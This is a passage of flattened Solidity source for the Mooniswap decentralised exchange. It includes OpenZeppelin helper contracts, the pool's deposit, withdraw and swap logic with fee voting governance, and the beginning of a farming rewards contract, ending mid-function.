function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./interfaces/IFeeCollector.sol";
import "./libraries/UniERC20.sol";
import "./libraries/Sqrt.sol";
import "./libraries/VirtualBalance.sol";
import "./governance/MooniswapGovernance.sol";
contract Mooniswap is MooniswapGovernance {
using Sqrt for uint256;
using SafeMath for uint256;
using UniERC20 for IERC20;
using VirtualBalance for VirtualBalance.Data;
struct Balances {
uint256 src;
uint256 dst;
}
struct SwapVolumes {
uint128 confirmed;
uint128 result;
}
struct Fees {
uint256 fee;
uint256 slippageFee;
}
event Error(string reason);
event Deposited(
address indexed sender,
address indexed receiver,
uint256 share,
uint256 token0Amount,
uint256 token1Amount
);
event Withdrawn(
address indexed sender,
address indexed receiver,
uint256 share,
uint256 token0Amount,
uint256 token1Amount
);
event Swapped(
address indexed sender,
address indexed receiver,
address indexed srcToken,
address dstToken,
uint256 amount,
uint256 result,
uint256 srcAdditionBalance,
uint256 dstRemovalBalance,
address referral
);
event Sync(
uint256 srcBalance,
uint256 dstBalance,
uint256 fee,
uint256 slippageFee,
uint256 referralShare,
uint256 governanceShare
);
uint256 private constant _BASE_SUPPLY = 1000; // Total supply on first deposit
IERC20 public immutable token0;
IERC20 public immutable token1;
mapping(IERC20 => SwapVolumes) public volumes;
mapping(IERC20 => VirtualBalance.Data) public virtualBalancesForAddition;
mapping(IERC20 => VirtualBalance.Data) public virtualBalancesForRemoval;
modifier whenNotShutdown {
require(mooniswapFactoryGovernance.isActive(), "Mooniswap: factory shutdown");
_;
}
constructor(
IERC20 _token0,
IERC20 _token1,
string memory name,
string memory symbol,
IMooniswapFactoryGovernance _mooniswapFactoryGovernance
)
public
ERC20(name, symbol)
MooniswapGovernance(_mooniswapFactoryGovernance)
{
require(bytes(name).length > 0, "Mooniswap: name is empty");
require(bytes(symbol).length > 0, "Mooniswap: symbol is empty");
require(_token0 != _token1, "Mooniswap: duplicate tokens");
token0 = _token0;
token1 = _token1;
}
function getTokens() external view returns(IERC20[] memory tokens) {
tokens = new IERC20[](2);
tokens[0] = token0;
tokens[1] = token1;
}
function tokens(uint256 i) external view returns(IERC20) {
if (i == 0) {
return token0;
} else if (i == 1) {
return token1;
} else {
revert("Pool has two tokens");
}
}
function getBalanceForAddition(IERC20 token) public view returns(uint256) {
uint256 balance = token.uniBalanceOf(address(this));
return Math.max(virtualBalancesForAddition[token].current(decayPeriod(), balance), balance);
}
function getBalanceForRemoval(IERC20 token) public view returns(uint256) {
uint256 balance = token.uniBalanceOf(address(this));
return Math.min(virtualBalancesForRemoval[token].current(decayPeriod(), balance), balance);
}
function getReturn(IERC20 src, IERC20 dst, uint256 amount) external view returns(uint256) {
return _getReturn(src, dst, amount, getBalanceForAddition(src), getBalanceForRemoval(dst), fee(), slippageFee());
}
function deposit(uint256[2] memory maxAmounts, uint256[2] memory minAmounts) external payable returns(uint256 fairSupply, uint256[2] memory receivedAmounts) {
return depositFor(maxAmounts, minAmounts, msg.sender);
}
function depositFor(uint256[2] memory maxAmounts, uint256[2] memory minAmounts, address target) public payable nonReentrant returns(uint256 fairSupply, uint256[2] memory receivedAmounts) {
IERC20[2] memory _tokens = [token0, token1];
require(msg.value == (_tokens[0].isETH() ? maxAmounts[0] : (_tokens[1].isETH() ? maxAmounts[1] : 0)), "Mooniswap: wrong value usage");
uint256 totalSupply = totalSupply();
if (totalSupply == 0) {
fairSupply = _BASE_SUPPLY.mul(99);
_mint(address(this), _BASE_SUPPLY); // Donate up to 1%
for (uint i = 0; i < maxAmounts.length; i++) {
fairSupply = Math.max(fairSupply, maxAmounts[i]);
require(maxAmounts[i] > 0, "Mooniswap: amount is zero");
require(maxAmounts[i] >= minAmounts[i], "Mooniswap: minAmount not reached");
_tokens[i].uniTransferFrom(msg.sender, address(this), maxAmounts[i]);
receivedAmounts[i] = maxAmounts[i];
}
}
else {
uint256[2] memory realBalances;
for (uint i = 0; i < realBalances.length; i++) {
realBalances[i] = _tokens[i].uniBalanceOf(address(this)).sub(_tokens[i].isETH() ? msg.value : 0);
}
// Pre-compute fair supply
fairSupply = type(uint256).max;
for (uint i = 0; i < maxAmounts.length; i++) {
fairSupply = Math.min(fairSupply, totalSupply.mul(maxAmounts[i]).div(realBalances[i]));
}
uint256 fairSupplyCached = fairSupply;
for (uint i = 0; i < maxAmounts.length; i++) {
require(maxAmounts[i] > 0, "Mooniswap: amount is zero");
uint256 amount = realBalances[i].mul(fairSupplyCached).add(totalSupply - 1).div(totalSupply);
require(amount >= minAmounts[i], "Mooniswap: minAmount not reached");
_tokens[i].uniTransferFrom(msg.sender, address(this), amount);
receivedAmounts[i] = _tokens[i].uniBalanceOf(address(this)).sub(realBalances[i]);
fairSupply = Math.min(fairSupply, totalSupply.mul(receivedAmounts[i]).div(realBalances[i]));
}
uint256 _decayPeriod = decayPeriod(); // gas savings
for (uint i = 0; i < maxAmounts.length; i++) {
virtualBalancesForRemoval[_tokens[i]].scale(_decayPeriod, realBalances[i], totalSupply.add(fairSupply), totalSupply);
virtualBalancesForAddition[_tokens[i]].scale(_decayPeriod, realBalances[i], totalSupply.add(fairSupply), totalSupply);
}
}
require(fairSupply > 0, "Mooniswap: result is not enough");
_mint(target, fairSupply);
emit Deposited(msg.sender, target, fairSupply, receivedAmounts[0], receivedAmounts[1]);
}
function withdraw(uint256 amount, uint256[] memory minReturns) external returns(uint256[2] memory withdrawnAmounts) {
return withdrawFor(amount, minReturns, msg.sender);
}
function withdrawFor(uint256 amount, uint256[] memory minReturns, address payable target) public nonReentrant returns(uint256[2] memory withdrawnAmounts) {
IERC20[2] memory _tokens = [token0, token1];
uint256 totalSupply = totalSupply();
uint256 _decayPeriod = decayPeriod(); // gas savings
_burn(msg.sender, amount);
for (uint i = 0; i < _tokens.length; i++) {
IERC20 token = _tokens[i];
uint256 preBalance = token.uniBalanceOf(address(this));
uint256 value = preBalance.mul(amount).div(totalSupply);
token.uniTransfer(target, value);
withdrawnAmounts[i] = value;
require(i >= minReturns.length || value >= minReturns[i], "Mooniswap: result is not enough");
virtualBalancesForAddition[token].scale(_decayPeriod, preBalance, totalSupply.sub(amount), totalSupply);
virtualBalancesForRemoval[token].scale(_decayPeriod, preBalance, totalSupply.sub(amount), totalSupply);
}
emit Withdrawn(msg.sender, target, amount, withdrawnAmounts[0], withdrawnAmounts[1]);
}
function swap(IERC20 src, IERC20 dst, uint256 amount, uint256 minReturn, address referral) external payable returns(uint256 result) {
return swapFor(src, dst, amount, minReturn, referral, msg.sender);
}
function swapFor(IERC20 src, IERC20 dst, uint256 amount, uint256 minReturn, address referral, address payable receiver) public payable nonReentrant whenNotShutdown returns(uint256 result) {
require(msg.value == (src.isETH() ? amount : 0), "Mooniswap: wrong value usage");
Balances memory balances = Balances({
src: src.uniBalanceOf(address(this)).sub(src.isETH() ? msg.value : 0),
dst: dst.uniBalanceOf(address(this))
});
uint256 confirmed;
Balances memory virtualBalances;
Fees memory fees = Fees({
fee: fee(),
slippageFee: slippageFee()
});
(confirmed, result, virtualBalances) = _doTransfers(src, dst, amount, minReturn, receiver, balances, fees);
emit Swapped(msg.sender, receiver, address(src), address(dst), confirmed, result, virtualBalances.src, virtualBalances.dst, referral);
_mintRewards(confirmed, result, referral, balances, fees);
// Overflow of uint128 is desired
volumes[src].confirmed += uint128(confirmed);
volumes[src].result += uint128(result);
}
function _doTransfers(IERC20 src, IERC20 dst, uint256 amount, uint256 minReturn, address payable receiver, Balances memory balances, Fees memory fees)
private returns(uint256 confirmed, uint256 result, Balances memory virtualBalances)
{
uint256 _decayPeriod = decayPeriod();
virtualBalances.src = virtualBalancesForAddition[src].current(_decayPeriod, balances.src);
virtualBalances.src = Math.max(virtualBalances.src, balances.src);
virtualBalances.dst = virtualBalancesForRemoval[dst].current(_decayPeriod, balances.dst);
virtualBalances.dst = Math.min(virtualBalances.dst, balances.dst);
src.uniTransferFrom(msg.sender, address(this), amount);
confirmed = src.uniBalanceOf(address(this)).sub(balances.src);
result = _getReturn(src, dst, confirmed, virtualBalances.src, virtualBalances.dst, fees.fee, fees.slippageFee);
require(result > 0 && result >= minReturn, "Mooniswap: return is not enough");
dst.uniTransfer(receiver, result);
// Update virtual balances to the same direction only at imbalanced state
if (virtualBalances.src != balances.src) {
virtualBalancesForAddition[src].set(virtualBalances.src.add(confirmed));
}
if (virtualBalances.dst != balances.dst) {
virtualBalancesForRemoval[dst].set(virtualBalances.dst.sub(result));
}
// Update virtual balances to the opposite direction
virtualBalancesForRemoval[src].update(_decayPeriod, balances.src);
virtualBalancesForAddition[dst].update(_decayPeriod, balances.dst);
}
function _mintRewards(uint256 confirmed, uint256 result, address referral, Balances memory balances, Fees memory fees) private {
(uint256 referralShare, uint256 governanceShare, address govWallet, address feeCollector) = mooniswapFactoryGovernance.shareParameters();
uint256 refReward;
uint256 govReward;
uint256 invariantRatio = uint256(1e36);
invariantRatio = invariantRatio.mul(balances.src.add(confirmed)).div(balances.src);
invariantRatio = invariantRatio.mul(balances.dst.sub(result)).div(balances.dst);
if (invariantRatio > 1e36) {
// calculate share only if invariant increased
invariantRatio = invariantRatio.sqrt();
uint256 invIncrease = totalSupply().mul(invariantRatio.sub(1e18)).div(invariantRatio);
refReward = (referral != address(0)) ? invIncrease.mul(referralShare).div(MooniswapConstants._FEE_DENOMINATOR) : 0;
govReward = (govWallet != address(0)) ? invIncrease.mul(governanceShare).div(MooniswapConstants._FEE_DENOMINATOR) : 0;
if (feeCollector == address(0)) {
if (refReward > 0) {
_mint(referral, refReward);
}
if (govReward > 0) {
_mint(govWallet, govReward);
}
}
else if (refReward > 0 || govReward > 0) {
uint256 len = (refReward > 0 ? 1 : 0) + (govReward > 0 ? 1 : 0);
address[] memory wallets = new address[](len);
uint256[] memory rewards = new uint256[](len);
wallets[0] = referral;
rewards[0] = refReward;
if (govReward > 0) {
wallets[len - 1] = govWallet;
rewards[len - 1] = govReward;
}
try IFeeCollector(feeCollector).updateRewards(wallets, rewards) {
_mint(feeCollector, refReward.add(govReward));
}
catch {
emit Error("updateRewards() failed");
}
}
}
emit Sync(balances.src, balances.dst, fees.fee, fees.slippageFee, refReward, govReward);
}
/*
spot_ret = dx * y / x
uni_ret = dx * y / (x + dx)
slippage = (spot_ret - uni_ret) / spot_ret
slippage = dx * dx * y / (x * (x + dx)) / (dx * y / x)
slippage = dx / (x + dx)
ret = uni_ret * (1 - slip_fee * slippage)
ret = dx * y / (x + dx) * (1 - slip_fee * dx / (x + dx))
ret = dx * y / (x + dx) * (x + dx - slip_fee * dx) / (x + dx)
x = amount * denominator
dx = amount * (denominator - fee)
*/
function _getReturn(IERC20 src, IERC20 dst, uint256 amount, uint256 srcBalance, uint256 dstBalance, uint256 fee, uint256 slippageFee) internal view returns(uint256) {
if (src > dst) {
(src, dst) = (dst, src);
}
if (amount > 0 && src == token0 && dst == token1) {
uint256 taxedAmount = amount.sub(amount.mul(fee).div(MooniswapConstants._FEE_DENOMINATOR));
uint256 srcBalancePlusTaxedAmount = srcBalance.add(taxedAmount);
uint256 ret = taxedAmount.mul(dstBalance).div(srcBalancePlusTaxedAmount);
uint256 feeNumerator = MooniswapConstants._FEE_DENOMINATOR.mul(srcBalancePlusTaxedAmount).sub(slippageFee.mul(taxedAmount));
uint256 feeDenominator = MooniswapConstants._FEE_DENOMINATOR.mul(srcBalancePlusTaxedAmount);
return ret.mul(feeNumerator).div(feeDenominator);
}
}
function rescueFunds(IERC20 token, uint256 amount) external nonReentrant onlyOwner {
uint256 balance0 = token0.uniBalanceOf(address(this));
uint256 balance1 = token1.uniBalanceOf(address(this));
token.uniTransfer(msg.sender, amount);
require(token0.uniBalanceOf(address(this)) >= balance0, "Mooniswap: access denied");
require(token1.uniBalanceOf(address(this)) >= balance1, "Mooniswap: access denied");
require(balanceOf(address(this)) >= _BASE_SUPPLY, "Mooniswap: access denied");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "../interfaces/IMooniswapFactoryGovernance.sol";
import "../libraries/LiquidVoting.sol";
import "../libraries/MooniswapConstants.sol";
import "../libraries/SafeCast.sol";
abstract contract MooniswapGovernance is ERC20, Ownable, ReentrancyGuard {
using Vote for Vote.Data;
using LiquidVoting for LiquidVoting.Data;
using VirtualVote for VirtualVote.Data;
using SafeCast for uint256;
event FeeVoteUpdate(address indexed user, uint256 fee, bool isDefault, uint256 amount);
event SlippageFeeVoteUpdate(address indexed user, uint256 slippageFee, bool isDefault, uint256 amount);
event DecayPeriodVoteUpdate(address indexed user, uint256 decayPeriod, bool isDefault, uint256 amount);
IMooniswapFactoryGovernance public mooniswapFactoryGovernance;
LiquidVoting.Data private _fee;
LiquidVoting.Data private _slippageFee;
LiquidVoting.Data private _decayPeriod;
constructor(IMooniswapFactoryGovernance _mooniswapFactoryGovernance) internal {
mooniswapFactoryGovernance = _mooniswapFactoryGovernance;
_fee.data.result = _mooniswapFactoryGovernance.defaultFee().toUint104();
_slippageFee.data.result = _mooniswapFactoryGovernance.defaultSlippageFee().toUint104();
_decayPeriod.data.result = _mooniswapFactoryGovernance.defaultDecayPeriod().toUint104();
}
function setMooniswapFactoryGovernance(IMooniswapFactoryGovernance newMooniswapFactoryGovernance) external onlyOwner {
mooniswapFactoryGovernance = newMooniswapFactoryGovernance;
this.discardFeeVote();
this.discardSlippageFeeVote();
this.discardDecayPeriodVote();
}
function fee() public view returns(uint256) {
return _fee.data.current();
}
function slippageFee() public view returns(uint256) {
return _slippageFee.data.current();
}
function decayPeriod() public view returns(uint256) {
return _decayPeriod.data.current();
}
function virtualFee() external view returns(uint104, uint104, uint48) {
return (_fee.data.oldResult, _fee.data.result, _fee.data.time);
}
function virtualSlippageFee() external view returns(uint104, uint104, uint48) {
return (_slippageFee.data.oldResult, _slippageFee.data.result, _slippageFee.data.time);
}
function virtualDecayPeriod() external view returns(uint104, uint104, uint48) {
return (_decayPeriod.data.oldResult, _decayPeriod.data.result, _decayPeriod.data.time);
}
function feeVotes(address user) external view returns(uint256) {
return _fee.votes[user].get(mooniswapFactoryGovernance.defaultFee);
}
function slippageFeeVotes(address user) external view returns(uint256) {
return _slippageFee.votes[user].get(mooniswapFactoryGovernance.defaultSlippageFee);
}
function decayPeriodVotes(address user) external view returns(uint256) {
return _decayPeriod.votes[user].get(mooniswapFactoryGovernance.defaultDecayPeriod);
}
function feeVote(uint256 vote) external {
require(vote <= MooniswapConstants._MAX_FEE, "Fee vote is too high");
_fee.updateVote(msg.sender, _fee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultFee(), _emitFeeVoteUpdate);
}
function slippageFeeVote(uint256 vote) external {
require(vote <= MooniswapConstants._MAX_SLIPPAGE_FEE, "Slippage fee vote is too high");
_slippageFee.updateVote(msg.sender, _slippageFee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultSlippageFee(), _emitSlippageFeeVoteUpdate);
}
function decayPeriodVote(uint256 vote) external {
require(vote <= MooniswapConstants._MAX_DECAY_PERIOD, "Decay period vote is too high");
require(vote >= MooniswapConstants._MIN_DECAY_PERIOD, "Decay period vote is too low");
_decayPeriod.updateVote(msg.sender, _decayPeriod.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultDecayPeriod(), _emitDecayPeriodVoteUpdate);
}
function discardFeeVote() external {
_fee.updateVote(msg.sender, _fee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultFee(), _emitFeeVoteUpdate);
}
function discardSlippageFeeVote() external {
_slippageFee.updateVote(msg.sender, _slippageFee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultSlippageFee(), _emitSlippageFeeVoteUpdate);
}
function discardDecayPeriodVote() external {
_decayPeriod.updateVote(msg.sender, _decayPeriod.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultDecayPeriod(), _emitDecayPeriodVoteUpdate);
}
function _emitFeeVoteUpdate(address account, uint256 newFee, bool isDefault, uint256 newBalance) private {
emit FeeVoteUpdate(account, newFee, isDefault, newBalance);
}
function _emitSlippageFeeVoteUpdate(address account, uint256 newSlippageFee, bool isDefault, uint256 newBalance) private {
emit SlippageFeeVoteUpdate(account, newSlippageFee, isDefault, newBalance);
}
function _emitDecayPeriodVoteUpdate(address account, uint256 newDecayPeriod, bool isDefault, uint256 newBalance) private {
emit DecayPeriodVoteUpdate(account, newDecayPeriod, isDefault, newBalance);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal override {
if (from == to) {
// ignore transfers to self
return;
}
IMooniswapFactoryGovernance _mooniswapFactoryGovernance = mooniswapFactoryGovernance;
bool updateFrom = !(from == address(0) || _mooniswapFactoryGovernance.isFeeCollector(from));
bool updateTo = !(to == address(0) || _mooniswapFactoryGovernance.isFeeCollector(to));
if (!updateFrom && !updateTo) {
// mint to feeReceiver or burn from feeReceiver
return;
}
uint256 balanceFrom = (from != address(0)) ? balanceOf(from) : 0;
uint256 balanceTo = (to != address(0)) ? balanceOf(to) : 0;
uint256 newTotalSupply = totalSupply()
.add(from == address(0) ? amount : 0)
.sub(to == address(0) ? amount : 0);
ParamsHelper memory params = ParamsHelper({
from: from,
to: to,
updateFrom: updateFrom,
updateTo: updateTo,
amount: amount,
balanceFrom: balanceFrom,
balanceTo: balanceTo,
newTotalSupply: newTotalSupply
});
(uint256 defaultFee, uint256 defaultSlippageFee, uint256 defaultDecayPeriod) = _mooniswapFactoryGovernance.defaults();
_updateOnTransfer(params, defaultFee, _emitFeeVoteUpdate, _fee);
_updateOnTransfer(params, defaultSlippageFee, _emitSlippageFeeVoteUpdate, _slippageFee);
_updateOnTransfer(params, defaultDecayPeriod, _emitDecayPeriodVoteUpdate, _decayPeriod);
}
struct ParamsHelper {
address from;
address to;
bool updateFrom;
bool updateTo;
uint256 amount;
uint256 balanceFrom;
uint256 balanceTo;
uint256 newTotalSupply;
}
function _updateOnTransfer(
ParamsHelper memory params,
uint256 defaultValue,
function(address, uint256, bool, uint256) internal emitEvent,
LiquidVoting.Data storage votingData
) private {
Vote.Data memory voteFrom = votingData.votes[params.from];
Vote.Data memory voteTo = votingData.votes[params.to];
if (voteFrom.isDefault() && voteTo.isDefault() && params.updateFrom && params.updateTo) {
emitEvent(params.from, voteFrom.get(defaultValue), true, params.balanceFrom.sub(params.amount));
emitEvent(params.to, voteTo.get(defaultValue), true, params.balanceTo.add(params.amount));
return;
}
if (params.updateFrom) {
votingData.updateBalance(params.from, voteFrom, params.balanceFrom, params.balanceFrom.sub(params.amount), params.newTotalSupply, defaultValue, emitEvent);
}
if (params.updateTo) {
votingData.updateBalance(params.to, voteTo, params.balanceTo, params.balanceTo.add(params.amount), params.newTotalSupply, defaultValue, emitEvent);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "../../Mooniswap.sol";
import "../../libraries/MooniswapConstants.sol";
import "../../libraries/Voting.sol";
import "../../libraries/UniERC20.sol";
import "../../utils/BaseRewards.sol";
contract FarmingRewards is BaseRewards {
using Vote for Vote.Data;
using Voting for Voting.Data;
using UniERC20 for IERC20;
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event FeeVoteUpdate(address indexed user, uint256 fee, bool isDefault, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 value);
event SlippageFeeVoteUpdate(address indexed user, uint256 slippageFee, bool isDefault, uint256 amount);
event DecayPeriodVoteUpdate(address indexed user, uint256 decayPeriod, bool isDefault, uint256 amount);
Mooniswap public immutable mooniswap;
IMooniswapFactoryGovernance public immutable mooniswapFactoryGovernance;
Voting.Data private _fee;
Voting.Data private _slippageFee;
Voting.Data private _decayPeriod;
constructor(Mooniswap _mooniswap, IERC20 _gift, uint256 _duration, address _rewardDistribution) public {
mooniswap = _mooniswap;
mooniswapFactoryGovernance = _mooniswap.mooniswapFactoryGovernance();
addGift(_gift, _duration, _rewardDistribution);
}
function name() external view returns(string memory) {
return string(abi.encodePacked("Farming: ", mooniswap.name()));
}
function symbol() external view returns(string memory) {
return string(abi.encodePacked("farm-", mooniswap.symbol()));
}
function decimals() external view returns(uint8) {
return mooniswap.decimals();
}
function stake(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
mooniswap.transferFrom(msg.sender, address(this), amount);
_mint(msg.sender, amount);
emit Staked(msg.sender, amount);
emit Transfer(address(0), msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_burn(msg.sender, amount);
mooniswap.transfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
emit Transfer(msg.sender, address(0), amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getAllRewards();
}
function fee() public view returns(uint256) {
return _fee.result;
}
function slippageFee() public view returns(uint256) {
return _slippageFee.result;
}
function decayPeriod() public view returns(uint256) {
return _decayPeriod.result;
}
function feeVotes(address user) external view returns(uint256) {
return _fee.votes[user].get(mooniswapFactoryGovernance.defaultFee);
}
function slippageFeeVotes(address user) external view returns(uint256) {
return _slippageFee.votes[user].get(mooniswapFactoryGovernance.defaultSlippageFee);
}
function decayPeriodVotes(address user) external view returns(uint256) {
return _decayPeriod.votes[user].get(mooniswapFactoryGovernance.defaultDecayPeriod);
}
function feeVote(uint256 vote) external {
require(vote <= MooniswapConstants._MAX_FEE, "Fee vote is too high");
_fee.updateVote(msg.sender, _fee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultFee(), _emitFeeVoteUpdate);
_vote(_fee, mooniswap.feeVote, mooniswap.discardFeeVote);
}
function slippageFeeVote(uint256 vote) external {
require(vote <= MooniswapConstants._MAX_SLIPPAGE_FEE, "Slippage fee vote is too high");
_slippageFee.updateVote(msg.sender, _slippageFee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultSlippageFee(), _emitSlippageFeeVoteUpdate);
_vote(_slippageFee, mooniswap.slippageFeeVote, mooniswap.discardSlippageFeeVote);
}
function decayPeriodVote(uint256 vote) external {
require(vote <= MooniswapConstants._MAX_DECAY_PERIOD, "Decay period vote is too high");
require(vote >= MooniswapConstants._MIN_DECAY_PERIOD, "Decay period vote is too low");
_decayPeriod.updateVote(msg.sender, _decayPeriod.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultDecayPeriod(), _emitDecayPeriodVoteUpdate);
_vote(_decayPeriod, mooniswap.decayPeriodVote, mooniswap.discardDecayPeriodVote);
}
function discardFeeVote() external {
_fee.updateVote(msg.sender, _fee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultFee(), _emitFeeVoteUpdate);
_vote(_fee, mooniswap.feeVote, mooniswap.discardFeeVote);
}
function discardSlippageFeeVote() external {
_slippageFee.updateVote(msg.sender, _slippageFee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultSlippageFee(), _emitSlippageFeeVoteUpdate);
_vote(_slippageFee, mooniswap.slippageFeeVote, mooniswap.discardSlippageFeeVote);
}
function discardDecayPeriodVote() external {
_decayPeriod.updateVote(msg.sender, _decayPeriod.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultDecayPeriod(), _emitDecayPeriodVoteUpdate);
_vote(_decayPeriod, mooniswap.decayPeriodVote, mooniswap.discardDecayPeriodVote);
}
function _mint(address account, uint256 amount) internal override {
super._mint(account, amount);
uint256 newBalance = balanceOf(account);
_updateVotes(account, newBalance.sub(amount), newBalance, totalSupply());
}
function _burn(address account, uint256 amount) internal override {
super._burn(account, amount);
uint256 newBalance = balanceOf(account);
_updateVotes(account, newBalance.add(amount), newBalance, totalSupply());
}
function _updateVotes(address account, uint256 balance, uint256 newBalance, uint256 newTotalSupply) private {
_fee.updateBalance(account, _fee.votes[account], balance, newBalance, newTotalSupply, mooniswapFactoryGovernance.defaultFee(), _emitFeeVoteUpdate);
_vote(_fee, mooniswap.feeVote, mooniswap.discardFeeVote);
_slippageFee.updateBalance(account, _slippageFee.votes[account], balance, newBalance, newTotalSupply, mooniswapFactoryGovernance.defaultSlippageFee(), _emitSlippageFeeVoteUpdate);
_vote(_slippageFee, mooniswap.slippageFeeVote, mooniswap.discardSlippageFeeVote);
